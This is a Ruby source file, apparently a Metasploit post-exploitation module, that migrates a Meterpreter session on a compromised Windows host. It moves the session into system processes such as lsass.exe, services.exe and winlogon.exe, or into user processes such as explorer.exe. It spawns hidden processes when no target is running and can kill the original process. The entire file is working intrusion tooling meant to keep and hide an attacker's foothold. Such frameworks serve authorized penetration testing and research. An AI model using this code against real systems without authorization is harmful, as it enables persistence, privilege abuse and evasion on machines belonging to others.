##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv

  DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ]
  DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ]

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Privilege Based Process Migration ',
        'Description' => %q{
          This module will migrate a Meterpreter session based on session privileges.
          It will do everything it can to migrate, including spawning a new User level process.
          For sessions with Admin rights: It will try to migrate into a System level process in the following
          order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.
          If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:
          It will try to migrate to a user level process, if that fails it will attempt to spawn the process
          then migrate to it. It will attempt the User level processes in the following order:
          NAME (if specified), explorer.exe, then notepad.exe.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>',
          'theLightCosine'
        ],
        'Platform' => ['win' ],
        'SessionTypes' => ['meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_migrate
              stdapi_sys_config_getuid
              stdapi_sys_process_attach
              stdapi_sys_process_execute
              stdapi_sys_process_get_processes
              stdapi_sys_process_kill
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),
        OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),
        OptBool.new('KILL', [true, 'Kill original session process.', false]),
        OptBool.new('NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false])
      ]
    )
  end

  def run
    # Get current process information
    @original_pid = client.sys.process.open.pid
    @original_name = client.sys.process.open.name.downcase
    print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}")
    unless migrate_admin
      if is_admin? && !datastore['NOFAIL']
        print_status('NOFAIL set to false, exiting module.')
        return
      end
      migrate_user
    end
  end

  # This function returns the first process id of a process with the name provided.
  # It will make sure that the process has a visible user meaning that the session has rights to that process.
  # Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
  #
  # @return [Integer] the PID if one is found
  # @return [NilClass] if no PID was found
  def get_pid(proc_name)
    processes = client.sys.process.get_processes
    processes.each do |proc|
      if proc['name'].downcase == proc_name && proc['user'] != ''
        return proc['pid']
      end
    end
    return nil
  end

  # This function will try to kill the original session process
  #
  # @return [void] A useful return value is not expected here
  def kill(proc_pid, proc_name)
    if datastore['KILL']
      begin
        print_status("Trying to kill original process #{proc_name} (#{proc_pid})")
        session.sys.process.kill(proc_pid)
        print_good("Successfully killed process #{proc_name} (#{proc_pid})")
      rescue ::Rex::Post::Meterpreter::RequestError => e
        print_error("Could not kill original process #{proc_name} (#{proc_pid})")
        print_error(e.to_s)
      end
    end
  end

  # This function attempts to migrate to the specified process.
  #
  # @return [TrueClass] if it successfully migrated
  # @return [FalseClass] if it failed to migrate
  def migrate(target_pid, proc_name, current_pid)
    if !target_pid
      print_error("Could not migrate to #{proc_name}.")
      return false
    end

    print_status("Trying #{proc_name} (#{target_pid})")

    if target_pid == current_pid
      print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
      return true
    end

    begin
      client.core.migrate(target_pid)
      print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
      return true
    rescue ::Rex::Post::Meterpreter::RequestError => e
      print_error("Could not migrate to #{proc_name}.")
      print_error(e.to_s)
      return false
    rescue ::Rex::RuntimeError => e
      print_error("Could not migrate to #{proc_name}.")
      print_error(e.to_s)
      return false
    end
  end

  # Attempts to migrate into one of the Target Admin Processes.
  #
  # @return [TrueClass] if it successfully migrated
  # @return [FalseClass] if it failed to migrate
  def migrate_admin
    if is_admin?
      # Populate target array and Downcase all Targets
      admin_targets = DEFAULT_ADMIN_TARGETS.dup
      admin_targets.unshift(datastore['ANAME']) if datastore['ANAME']
      admin_targets.map!(&:downcase)

      if is_system?
        print_status('Session is already Admin and System.')
        if admin_targets.include? @original_name
          print_good("Session is already in target process: #{@original_name}.")
          return true
        end
      else
        print_status('Session is Admin but not System.')
      end
      print_status('Will attempt to migrate to specified System level process.')

      # Try to migrate to each of the System level processes in the list.  Stop when one works.  Go to User level migration if none work.
      admin_targets.each do |target_name|
        if migrate(get_pid(target_name), target_name, @original_pid)
          kill(@original_pid, @original_name)
          return true
        end
      end
      print_error('Unable to migrate to any of the System level processes.')
    else
      print_status('Session has User level rights.')
    end
    false
  end

  # Attempts to migrate to one of the Target User Processes
  #
  # @return [TrueClass] if it successfully migrated
  # @return [FalseClass] if it failed to migrate
  def migrate_user
    # Populate Target Array and Downcase all Targets
    user_targets = DEFAULT_USER_TARGETS.dup
    user_targets.unshift(datastore['NAME']) if datastore['NAME']
    user_targets.map!(&:downcase)

    print_status('Will attempt to migrate to a User level process.')

    # Try to migrate to user level processes in the list.  If it does not exist or cannot migrate, try spawning it then migrating.
    user_targets.each do |target_name|
      if migrate(get_pid(target_name), target_name, @original_pid)
        kill(@original_pid, @original_name)
        return true
      end

      if migrate(spawn(target_name), target_name, @original_pid)
        kill(@original_pid, @original_name)
        return true
      end
    end
    false
  end

  # This function will attempt to spawn a new process of the type provided by the name.
  #
  # @return [Integer] the PID if the process spawned successfully
  # @return [NilClass] if the spawn failed
  def spawn(proc_name)
    print_status("Attempting to spawn #{proc_name}")
    proc = session.sys.process.execute(proc_name, nil, { 'Hidden' => true })
    print_good("Successfully spawned #{proc_name}")
    return proc.pid
  rescue ::Rex::Post::Meterpreter::RequestError => e
    print_error("Could not spawn #{proc_name}.")
    print_error(e.to_s)
    return nil
  end
end
